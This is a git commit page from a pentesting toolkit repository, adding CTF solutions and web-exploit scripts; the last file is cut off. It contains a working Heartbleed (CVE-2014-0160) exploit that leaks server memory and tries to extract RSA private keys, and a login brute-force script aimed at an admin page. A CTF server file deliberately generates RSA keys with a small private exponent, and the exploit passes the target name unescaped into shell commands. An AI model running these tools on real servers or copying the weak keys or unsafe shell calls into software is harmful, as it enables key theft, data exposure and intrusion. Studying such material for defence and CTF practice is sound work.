mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 11:09:09 -04:00
hacklu ctf
This commit is contained in:
Mari Wahl
parent
b10717a84f
commit
9dc0d638a4
@ -1,119 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
import sys
|
||||
from telnetlib import Telnet
|
||||
from caesarCipher import decipher, decipher_simple
|
||||
from pygenere import VigCrack
|
||||
|
||||
|
||||
|
||||
def solve1(msg):
|
||||
# Caesar Cipher
|
||||
# Solve the first cypher and encode back to unicode:
|
||||
# the method encode() returns an encoded version of the string
|
||||
# Both method work fine.
|
||||
# One is by freq. analysis or the other by rotating
|
||||
dec_msg = decipher(msg)
|
||||
#dec_msg = decipher_simple(msg)
|
||||
dec_msg = dec_msg.split()[-1]
|
||||
return dec_msg
|
||||
|
||||
|
||||
|
||||
|
||||
def solve2(msg):
|
||||
msg="I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h"
|
||||
# Shift cypher, but dealing with special characters
|
||||
for j in range(2, len(msg)):
|
||||
dec_msg = ['0'] * len(msg)
|
||||
idec_msg = 0
|
||||
shift = 0
|
||||
for i in range(len(msg)):
|
||||
dec_msg[idec_msg] = msg[i]
|
||||
idec_msg += j
|
||||
if idec_msg >= len(msg):
|
||||
shift += 1
|
||||
idec_msg = shift
|
||||
dec_msg = "".join(dec_msg)
|
||||
if "I hope you don't have a problem with this challenge." not in dec_msg: continue
|
||||
return dec_msg
|
||||
|
||||
|
||||
|
||||
|
||||
def solve3(msg):
|
||||
# Vigenere Cypher
|
||||
key = VigCrack(msg).crack_codeword()
|
||||
dec_msg = VigCrack(msg).crack_message()
|
||||
dec_msg = dec_msg.replace(" ", "")
|
||||
return key, dec_msg
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
"""
|
||||
PORT = 12345
|
||||
HOST = '54.209.5.48'
|
||||
tn = Telnet(HOST ,PORT)
|
||||
|
||||
|
||||
'''
|
||||
SOLVING STAGE 1 - CEASAR CIPHER
|
||||
'''
|
||||
|
||||
tn.read_until(b'psifer text: ')
|
||||
msg_in1 = tn.read_until(b'\n').dec_msg().strip()
|
||||
|
||||
answer1 = solve1(msg_in1)
|
||||
|
||||
tn.write(answer1.encode() + b'\n')
|
||||
|
||||
print 'Message stage 1: ' + msg_in1
|
||||
print
|
||||
print 'Answer stage 1: ' + answer1
|
||||
print
|
||||
print
|
||||
|
||||
|
||||
|
||||
'''
|
||||
SOLVING STAGE 2 - SPECIAL CHARS
|
||||
'''
|
||||
msg_in2 = tn.read_all().dec_msg()
|
||||
msg_in2 = (msg_in2.split(':')[1]).split("Time")[0]
|
||||
|
||||
answer2 = solve2(msg_in2)
|
||||
|
||||
tn.write(answer2.encode() + b'\n')
|
||||
|
||||
print 'Message stage 2: ' + msg_in2
|
||||
print
|
||||
print 'Answer stage 2: ' + answer2
|
||||
print
|
||||
print
|
||||
|
||||
|
||||
'''
|
||||
SOLVING STAGE 3 - VINEGERE
|
||||
'''
|
||||
msg_in3 = tn.read_all().dec_msg()
|
||||
msg_in3 = (msg_in3.split(':')[1]).split("Time")[0]
|
||||
|
||||
|
||||
key, answer3 = solve3(msg_in3)
|
||||
tn.write(answer3.encode() + b'\n')
|
||||
|
||||
print 'Message stage 3: ' + msg_in3
|
||||
print
|
||||
print 'Answer stage 3: ' + answer3
|
||||
print '(key: ' + key + ')'
|
||||
|
||||
"""
|
||||
print solve2(msg='a')
|
||||
53
CTFs_and_WarGames/2014-Hack.lu-CTF/300_peace_pipe.py
Normal file
53
CTFs_and_WarGames/2014-Hack.lu-CTF/300_peace_pipe.py
Normal file
@ -0,0 +1,53 @@
|
||||
import socket
|
||||
|
||||
PORTc = 1432
|
||||
PORTm = 1434
|
||||
PORTw = 1433
|
||||
HOST = 'wildwildweb.fluxfingers.net'
|
||||
|
||||
def peace_pipe():
|
||||
|
||||
""" Get the magic message from some user to calculate rm """
|
||||
|
||||
# create sockets
|
||||
sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# connect to w
|
||||
sw.connect((HOST, PORTw))
|
||||
sw.recv(4096)
|
||||
sw.send(b'makawee')
|
||||
sw.recv(4096)
|
||||
sec = sw.recv(4096)
|
||||
tw = sec.split("did this:")[1].split("\n")[1].strip()
|
||||
print "\nMagic from w to m: " + tw
|
||||
|
||||
# connect to m
|
||||
sm.connect((HOST, PORTm))
|
||||
sm.recv(4096)
|
||||
sm.send(b'mrblack')
|
||||
sm.recv(4096)
|
||||
sec = sm.recv(4096)
|
||||
tm = sec.split("did this:")[1].split("\n")[1].strip()
|
||||
print "\nMagic from m to w: " + tm
|
||||
|
||||
# send w's magic to m's
|
||||
sm.send(tw)
|
||||
print sm.recv(4096)
|
||||
|
||||
# send m's magic to get the token
|
||||
sw.send(tm)
|
||||
token = sw.recv(4096)
|
||||
token = token.split('\n')[1].strip()
|
||||
print "Token is: " + token
|
||||
|
||||
# finally, send token back to m
|
||||
sm.send(token)
|
||||
print sm.recv(4096)
|
||||
|
||||
sm.close()
|
||||
sw.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
peace_pipe()
|
||||
337
CTFs_and_WarGames/2014-Hack.lu-CTF/SSH_implementation_example.py
Normal file
337
CTFs_and_WarGames/2014-Hack.lu-CTF/SSH_implementation_example.py
Normal file
@ -0,0 +1,337 @@
|
||||
#!/usr/bin/env python
|
||||
import random
|
||||
import gmpy
|
||||
import os
|
||||
import asyncio
|
||||
import base64
|
||||
import shutil
|
||||
import traceback
|
||||
import tempfile
|
||||
import argparse
|
||||
import aiopg
|
||||
import logging
|
||||
import collections
|
||||
import pyasn1_modules.rfc3447
|
||||
import pyasn1.codec.ber.encoder
|
||||
import concurrent.futures
|
||||
|
||||
|
||||
TARGET_USERNAME = "deputies"
|
||||
DB = {'database': 'wiener', 'user': TARGET_USERNAME}
|
||||
ADMIN_NAME = "sheriff"
|
||||
AUTH_KEYS_PATH = os.path.join(
|
||||
"/", "home", TARGET_USERNAME, ".ssh", "authorized_keys")
|
||||
EXECUTOR = concurrent.futures.ProcessPoolExecutor()
|
||||
|
||||
auth_keys_lock = asyncio.Lock()
|
||||
logging.getLogger('asyncio').setLevel(logging.ERROR)
|
||||
prng = random.SystemRandom()
|
||||
messages = {
|
||||
'welcome': ("Well if it isn't another one of those shave tails again. "
|
||||
"Don't you dare think this is gonna be an easy job here, we "
|
||||
"take no coffee boilers just so ya' know. If you're sure you "
|
||||
"want to join our deputy ranks, just apply here. If you got "
|
||||
"any problems just lemme know by typing 'h'."),
|
||||
'access': ('Oh and you can find all lockers by going '
|
||||
'to the "Secure Sheriff\'s Huddle" with the number 1427 on the '
|
||||
'door and tell the doorman you are a "deputies". Of course you '
|
||||
'are not a "sheriff"!'),
|
||||
'new_private_key': ("Here is your locker code. Don't you dare loose it or "
|
||||
"I'm gonna knock you galley west!"),
|
||||
'new_public_key': "And that's your lock.",
|
||||
'key_validity': ("Your locker code is only valid for 30 minutes. If you "
|
||||
"don't need it, I'm gonna trash your lock, boy!"),
|
||||
'new_username': ("I'm gonna call you %s from now on. I don't wanna hear "
|
||||
"any bellyaching about it!"),
|
||||
'get_public_get': "Here this is %s's lock. Why do you need it, hmm?",
|
||||
'get_pubkey_query': "So whose lock do you wanna see? ",
|
||||
'invalid_user': "Don't know him, get lost!",
|
||||
'cmd_unknwown': "What? No way you get THAT!",
|
||||
'unkown_error': "We seem to be having some problems here. We'll fix it.",
|
||||
'help_prefix': "These are the questions you can ask me:",
|
||||
}
|
||||
|
||||
|
||||
def get_message(key, *params, with_newline=True):
|
||||
nl = '\n' if with_newline else ''
|
||||
return ((messages[key] % params) + nl).encode('utf-8')
|
||||
|
||||
#
|
||||
# Actions
|
||||
#
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_help(reader, writer, conn):
|
||||
"""
|
||||
Ask the sheriff for help. He might not react too friendly...
|
||||
"""
|
||||
writer.write(get_message('help_prefix'))
|
||||
out = []
|
||||
for key, handler in actions.items():
|
||||
out.append("%s: %s" % (key, handler.__doc__.strip()))
|
||||
writer.writelines([(s + '\n').encode("utf-8") for s in out])
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_register(reader, writer, conn):
|
||||
"""
|
||||
Get a lock and a locker code. This way you can also unlock the shared locker for everyone!
|
||||
"""
|
||||
uname, id_ = yield from new_username(conn)
|
||||
priv_key, pub_key = yield from get_keypair(uname)
|
||||
with (yield from auth_keys_lock):
|
||||
with open(AUTH_KEYS_PATH, "ab") as f:
|
||||
f.seek(0, 2)
|
||||
f.write(pub_key + b'\n')
|
||||
writer.write(get_message('new_private_key'))
|
||||
writer.write(priv_key)
|
||||
writer.write(get_message('new_public_key'))
|
||||
writer.write(pub_key + b"\n")
|
||||
writer.write(get_message('new_username', uname.lower()))
|
||||
writer.write(get_message('key_validity'))
|
||||
writer.write(get_message('access'))
|
||||
cur = yield from conn.cursor()
|
||||
try:
|
||||
yield from cur.execute(
|
||||
'UPDATE users SET public_key=%s, username=%s WHERE id=%s',
|
||||
(pub_key.decode("utf-8"), uname, id_))
|
||||
finally:
|
||||
cur.close()
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_list(reader, writer, conn):
|
||||
"""
|
||||
Get a list of all guys that have locks.
|
||||
"""
|
||||
cur = yield from conn.cursor()
|
||||
out = []
|
||||
try:
|
||||
yield from cur.execute('SELECT username FROM users')
|
||||
for username, in (yield from cur.fetchall()):
|
||||
out.append(("- %s\n" % username).encode("utf-8"))
|
||||
finally:
|
||||
cur.close()
|
||||
writer.write(b"".join(out))
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_get_pubkey(reader, writer, conn):
|
||||
"""
|
||||
Get the lock for a particular guy. Why would you need that?
|
||||
"""
|
||||
writer.write(get_message('get_pubkey_query', with_newline=False))
|
||||
uname = (yield from reader.readline()).decode("utf-8").strip().lower()
|
||||
cur = yield from conn.cursor()
|
||||
try:
|
||||
yield from cur.execute(
|
||||
'SELECT public_key FROM users WHERE username=%s',
|
||||
(uname,))
|
||||
result = yield from cur.fetchone()
|
||||
finally:
|
||||
cur.close()
|
||||
if result:
|
||||
pub_key, = result
|
||||
writer.write(get_message('get_public_get', uname))
|
||||
writer.write((pub_key + '\n').encode("utf-8"))
|
||||
else:
|
||||
writer.write(get_message('invalid_user'))
|
||||
|
||||
|
||||
actions = collections.OrderedDict()
|
||||
actions['h'] = do_help
|
||||
actions['r'] = do_register
|
||||
actions['l'] = do_list
|
||||
actions['p'] = do_get_pubkey
|
||||
|
||||
#
|
||||
# Helpers
|
||||
#
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def new_username(conn):
|
||||
cur = yield from conn.cursor()
|
||||
try:
|
||||
yield from cur.execute(
|
||||
'INSERT INTO users DEFAULT VALUES RETURNING id')
|
||||
new_id = yield from cur.fetchone()
|
||||
new_user = 'user%d' % new_id
|
||||
finally:
|
||||
cur.close()
|
||||
return new_user, new_id
|
||||
|
||||
|
||||
def asn1_encode_priv_key(N, e, d, p, q):
|
||||
key = pyasn1_modules.rfc3447.RSAPrivateKey()
|
||||
dp = d % (p - 1)
|
||||
dq = d % (q - 1)
|
||||
qInv = gmpy.invert(q, p)
|
||||
assert (qInv * q) % p == 1
|
||||
key.setComponentByName('version', 0)
|
||||
key.setComponentByName('modulus', N)
|
||||
key.setComponentByName('publicExponent', e)
|
||||
key.setComponentByName('privateExponent', d)
|
||||
key.setComponentByName('prime1', p)
|
||||
key.setComponentByName('prime2', q)
|
||||
key.setComponentByName('exponent1', dp)
|
||||
key.setComponentByName('exponent2', dq)
|
||||
key.setComponentByName('coefficient', qInv)
|
||||
ber_key = pyasn1.codec.ber.encoder.encode(key)
|
||||
pem_key = base64.b64encode(ber_key).decode("ascii")
|
||||
out = ['-----BEGIN RSA PRIVATE KEY-----']
|
||||
out += [pem_key[i:i + 64] for i in range(0, len(pem_key), 64)]
|
||||
out.append('-----END RSA PRIVATE KEY-----\n')
|
||||
out = "\n".join(out)
|
||||
return out.encode("ascii")
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def ssh_encode_pub_key(keypath, uname):
|
||||
p = yield from asyncio.create_subprocess_exec(
|
||||
"ssh-keygen", "-y", "-f", keypath, stdout=asyncio.subprocess.PIPE)
|
||||
out = yield from p.stdout.read()
|
||||
return out.strip() + b' ' + uname.encode("ascii")
|
||||
|
||||
|
||||
def get_prime(size):
|
||||
while True:
|
||||
val = prng.getrandbits(size)
|
||||
if gmpy.is_prime(val):
|
||||
return val
|
||||
|
||||
|
||||
def test_key(N, e, d):
|
||||
msg = (N - 1) >> 1
|
||||
c = pow(msg, e, N)
|
||||
if pow(c, d, N) != msg:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def create_parameters(size=2048):
|
||||
p = get_prime(size // 2)
|
||||
q = get_prime(size // 2)
|
||||
N = p * q
|
||||
phi_N = (p - 1) * (q - 1)
|
||||
while True:
|
||||
d = prng.getrandbits(size // 5)
|
||||
e = int(gmpy.invert(d, phi_N))
|
||||
if (e * d) % phi_N == 1:
|
||||
break
|
||||
|
||||
assert test_key(N, e, d)
|
||||
return N, e, d, p, q
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def get_keypair(uname):
|
||||
loop = asyncio.get_event_loop()
|
||||
params_coro = loop.run_in_executor(EXECUTOR, create_parameters)
|
||||
N, e, d, p, q = yield from params_coro
|
||||
priv_key = asn1_encode_priv_key(N, e, d, p, q)
|
||||
with tempfile.NamedTemporaryFile() as priv_file:
|
||||
priv_file.write(priv_key)
|
||||
priv_file.flush()
|
||||
pub_key = yield from ssh_encode_pub_key(priv_file.name, uname)
|
||||
return priv_key, pub_key
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def cleanup_old_users(conn):
|
||||
print("Cleanup task is running now.")
|
||||
while True:
|
||||
cur = yield from conn.cursor()
|
||||
yield from cur.execute("BEGIN")
|
||||
try:
|
||||
yield from cur.execute('SELECT COUNT(*) FROM users')
|
||||
old_count, = yield from cur.fetchone()
|
||||
yield from cur.execute(
|
||||
"DELETE FROM users WHERE creation_date < "
|
||||
"CURRENT_TIMESTAMP - interval '30 minutes' "
|
||||
"AND username != %s OR public_key IS NULL",
|
||||
(ADMIN_NAME,))
|
||||
yield from cur.execute('SELECT COUNT(*) FROM users')
|
||||
new_count, = yield from cur.fetchone()
|
||||
yield from cur.execute(
|
||||
'SELECT public_key FROM users WHERE username != %s',
|
||||
(ADMIN_NAME,))
|
||||
with (yield from auth_keys_lock):
|
||||
AUTH_KEYS_PATH_NEW = AUTH_KEYS_PATH + '.new'
|
||||
with open(AUTH_KEYS_PATH_NEW, "wb") as f:
|
||||
for public_key, in (yield from cur.fetchall()):
|
||||
f.write(public_key.encode("utf-8"))
|
||||
f.write(b'\n')
|
||||
shutil.move(AUTH_KEYS_PATH_NEW, AUTH_KEYS_PATH)
|
||||
print("Deleted %d old keys" % (old_count - new_count))
|
||||
except Exception:
|
||||
yield from cur.execute("ROLLBACK")
|
||||
raise
|
||||
else:
|
||||
yield from cur.execute("COMMIT")
|
||||
finally:
|
||||
cur.close()
|
||||
yield from asyncio.sleep(15 * 60)
|
||||
|
||||
|
||||
def cleanup_done(t, conn):
|
||||
POOL.release(conn)
|
||||
e = t.exception()
|
||||
if e:
|
||||
traceback.print_exception(e.__class__, e, e.__traceback__)
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def handle(reader, writer):
|
||||
conn = yield from POOL.acquire()
|
||||
cur = yield from conn.cursor()
|
||||
yield from cur.execute("BEGIN")
|
||||
try:
|
||||
writer.write(get_message('welcome'))
|
||||
while True:
|
||||
writer.write(b"Command: ")
|
||||
cmd = (yield from reader.readline()).decode("utf-8").strip()
|
||||
if not cmd and reader.at_eof():
|
||||
writer.close()
|
||||
break
|
||||
try:
|
||||
yield from (actions[cmd](reader, writer, conn))
|
||||
except KeyError:
|
||||
writer.write(get_message('cmd_unknwown'))
|
||||
except Exception as e:
|
||||
writer.write(get_message('unkown_error'))
|
||||
traceback.print_exception(e.__class__, e, e.__traceback__)
|
||||
except Exception:
|
||||
yield from cur.execute("ROLLBACK")
|
||||
else:
|
||||
yield from cur.execute("COMMIT")
|
||||
finally:
|
||||
cur.close()
|
||||
POOL.release(conn)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--port', '-p', metavar='PORT', type=int,
|
||||
required=True)
|
||||
args = parser.parse_args()
|
||||
server = asyncio.start_server(handle, port=args.port)
|
||||
server_task = asyncio.Task(server)
|
||||
loop = asyncio.get_event_loop()
|
||||
|
||||
# Initialize connection pool
|
||||
POOL = loop.run_until_complete(aiopg.create_pool(maxsize=100, **DB))
|
||||
|
||||
# Cleanup task setup
|
||||
cleanup_conn = loop.run_until_complete(POOL.acquire())
|
||||
cleaner_task = asyncio.Task(cleanup_old_users(cleanup_conn))
|
||||
cleaner_task.add_done_callback(lambda t: cleanup_done(t, cleanup_conn))
|
||||
try:
|
||||
print("Starting main loop, accepting connections now.")
|
||||
loop.run_forever()
|
||||
finally:
|
||||
EXECUTOR.shutdown()
|
||||
server.close()
|
||||
loop.run_until_complete(POOL.clear())
|
||||
47
Web_Exploits/SQLi/sqli_COOKIE_brute.py
Executable file
47
Web_Exploits/SQLi/sqli_COOKIE_brute.py
Executable file
@ -0,0 +1,47 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
__author__ = "bt3gl"
|
||||
__email__ = "bt33gl@gmail.com"
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
def brute_force_password(URL, PAYLOAD, MAXID):
|
||||
|
||||
for i in range(MAXID):
|
||||
#HEADER ={'Cookie':'PHPSESSID=' + (str(i) + '-admin').encode('hex')}
|
||||
r = requests.post(URL, params=PAYLOAD)
|
||||
|
||||
print(i)
|
||||
print r.text
|
||||
id_hex = requests.utils.dict_from_cookiejar(r.cookies)['PHPSESSID']
|
||||
print(id_hex.decode('hex'))
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
#AUTH = ('admin', 'password')
|
||||
URL = 'http://10.13.37.12/cms/admin/login.php'
|
||||
|
||||
PAYLOAD = ({'debug': '1', 'username': 'admin', 'password': 'pass'})
|
||||
MAXID = 640
|
||||
|
||||
brute_force_password(URL, PAYLOAD, MAXID)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
Before Width: | Height: | Size: 58 B After Width: | Height: | Size: 58 B |
454
Web_Exploits/scanners/heartbleed.py
Normal file
454
Web_Exploits/scanners/heartbleed.py
Normal file
@ -0,0 +1,454 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
# Modified by Travis Lee
|
||||
# Last Updated: 4/21/14
|
||||
# Version 1.16
|
||||
#
|
||||
# -changed output to display text only instead of hexdump and made it easier to read
|
||||
# -added option to specify number of times to connect to server (to get more data)
|
||||
# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
|
||||
# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
|
||||
# -added option to have verbose output
|
||||
# -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command
|
||||
# -added option for hex output
|
||||
# -added option to output raw data to a file
|
||||
# -added option to output ascii data to a file
|
||||
# -added option to not display returned data on screen (good if doing many iterations and outputting to a file)
|
||||
# -added tls version auto-detection
|
||||
# -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen)
|
||||
# -requires following modules: gmpy, pyasn1
|
||||
|
||||
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
|
||||
# The author disclaims copyright to this source code.
|
||||
|
||||
import sys
|
||||
import struct
|
||||
import socket
|
||||
import time
|
||||
import select
|
||||
import re
|
||||
import time
|
||||
import os
|
||||
from optparse import OptionParser
|
||||
|
||||
options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)')
|
||||
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
|
||||
options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)')
|
||||
options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...')
|
||||
options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port')
|
||||
options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output')
|
||||
options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output')
|
||||
options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file')
|
||||
options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file')
|
||||
options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen')
|
||||
options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.')
|
||||
|
||||
opts, args = options.parse_args()
|
||||
|
||||
if opts.extractkey:
|
||||
import base64, gmpy
|
||||
from pyasn1.codec.der import encoder
|
||||
from pyasn1.type.univ import *
|
||||
|
||||
def hex2bin(arr):
|
||||
return ''.join('{:02x}'.format(x) for x in arr).decode('hex')
|
||||
|
||||
tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'}
|
||||
|
||||
def build_client_hello(tls_ver):
|
||||
client_hello = [
|
||||
# TLS header ( 5 bytes)
|
||||
0x16, # Content type (0x16 for handshake)
|
||||
0x03, tls_ver, # TLS Version
|
||||
0x00, 0xdc, # Length
|
||||
# Handshake header
|
||||
0x01, # Type (0x01 for ClientHello)
|
||||
0x00, 0x00, 0xd8, # Length
|
||||
0x03, tls_ver, # TLS Version
|
||||
# Random (32 byte)
|
||||
0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,
|
||||
0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,
|
||||
0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,
|
||||
0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,
|
||||
0x00, # Session ID length
|
||||
0x00, 0x66, # Cipher suites length
|
||||
# Cipher suites (51 suites)
|
||||
0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,
|
||||
0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,
|
||||
0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,
|
||||
0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,
|
||||
0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,
|
||||
0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,
|
||||
0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,
|
||||
0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,
|
||||
0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,
|
||||
0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,
|
||||
0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,
|
||||
0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,
|
||||
0x00, 0x06, 0x00, 0x03, 0x00, 0xff,
|
||||
0x01, # Compression methods length
|
||||
0x00, # Compression method (0x00 for NULL)
|
||||
0x00, 0x49, # Extensions length
|
||||
# Extension: ec_point_formats
|
||||
0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,
|
||||
# Extension: elliptic_curves
|
||||
0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,
|
||||
0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,
|
||||
0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,
|
||||
0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,
|
||||
0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,
|
||||
0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,
|
||||
0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,
|
||||
# Extension: SessionTicket TLS
|
||||
0x00, 0x23, 0x00, 0x00,
|
||||
# Extension: Heartbeat
|
||||
0x00, 0x0f, 0x00, 0x01, 0x01
|
||||
]
|
||||
return client_hello
|
||||
|
||||
def build_heartbeat(tls_ver):
|
||||
heartbeat = [
|
||||
0x18, # Content Type (Heartbeat)
|
||||
0x03, tls_ver, # TLS version
|
||||
0x00, 0x03, # Length
|
||||
# Payload
|
||||
0x01, # Type (Request)
|
||||
0x40, 0x00 # Payload length
|
||||
]
|
||||
return heartbeat
|
||||
|
||||
|
||||
if opts.rawoutfile:
|
||||
rawfileOUT = open(opts.rawoutfile, "a")
|
||||
|
||||
if opts.asciioutfile:
|
||||
asciifileOUT = open(opts.asciioutfile, "a")
|
||||
|
||||
if opts.extractkey:
|
||||
opts.donotdisplay = True
|
||||
|
||||
def hexdump(s):
|
||||
pdat = ''
|
||||
hexd = ''
|
||||
for b in xrange(0, len(s), 16):
|
||||
lin = [c for c in s[b : b + 16]]
|
||||
if opts.hexdump:
|
||||
hxdat = ' '.join('%02X' % ord(c) for c in lin)
|
||||
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
|
||||
hexd += ' %04x: %-48s %s\n' % (b, hxdat, pdat)
|
||||
else:
|
||||
pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin)
|
||||
if opts.hexdump:
|
||||
return hexd
|
||||
else:
|
||||
pdat = re.sub(r'([.]{50,})', '', pdat)
|
||||
if opts.asciioutfile:
|
||||
asciifileOUT.write(pdat)
|
||||
return pdat
|
||||
|
||||
def rcv_tls_record(s):
|
||||
try:
|
||||
tls_header = s.recv(5)
|
||||
if not tls_header:
|
||||
print 'Unexpected EOF (header)'
|
||||
return None,None,None
|
||||
typ,ver,length = struct.unpack('>BHH',tls_header)
|
||||
message = ''
|
||||
while len(message) != length:
|
||||
message += s.recv(length-len(message))
|
||||
if not message:
|
||||
print 'Unexpected EOF (message)'
|
||||
return None,None,None
|
||||
if opts.verbose:
|
||||
print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)
|
||||
return typ,ver,message
|
||||
except Exception as e:
|
||||
print "\nError Receiving Record! " + str(e)
|
||||
return None,None,None
|
||||
|
||||
def hit_hb(s, targ, firstrun, supported):
|
||||
s.send(hex2bin(build_heartbeat(supported)))
|
||||
while True:
|
||||
typ, ver, pay = rcv_tls_record(s)
|
||||
if typ is None:
|
||||
print 'No heartbeat response received, server likely not vulnerable'
|
||||
return ''
|
||||
|
||||
if typ == 24:
|
||||
if opts.verbose:
|
||||
print 'Received heartbeat response...'
|
||||
if len(pay) > 3:
|
||||
if firstrun or opts.verbose:
|
||||
print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!'
|
||||
if opts.rawoutfile:
|
||||
rawfileOUT.write(pay)
|
||||
if opts.extractkey:
|
||||
return pay
|
||||
else:
|
||||
return hexdump(pay)
|
||||
else:
|
||||
print 'Server processed malformed heartbeat, but did not return any extra data.'
|
||||
|
||||
if typ == 21:
|
||||
print 'Received alert:'
|
||||
return hexdump(pay)
|
||||
print 'Server returned error, likely not vulnerable'
|
||||
return ''
|
||||
|
||||
|
||||
def conn(targ, port):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sys.stdout.flush()
|
||||
s.settimeout(10)
|
||||
#time.sleep(0.2)
|
||||
s.connect((targ, port))
|
||||
return s
|
||||
|
||||
except Exception as e:
|
||||
print "Connection Error! " + str(e)
|
||||
return None
|
||||
|
||||
def bleed(targ, port):
|
||||
try:
|
||||
res = ''
|
||||
firstrun = True
|
||||
print '\n##################################################################'
|
||||
print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times'
|
||||
for x in range(0, opts.num):
|
||||
if x > 0:
|
||||
firstrun = False
|
||||
|
||||
if x == 0 and opts.extractkey:
|
||||
print "Attempting to extract private key from returned data..."
|
||||
if not os.path.exists('./hb-certs'):
|
||||
os.makedirs('./hb-certs')
|
||||
print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n'
|
||||
os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem')
|
||||
print '\nExtracting modulus from cert...\n'
|
||||
os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem')
|
||||
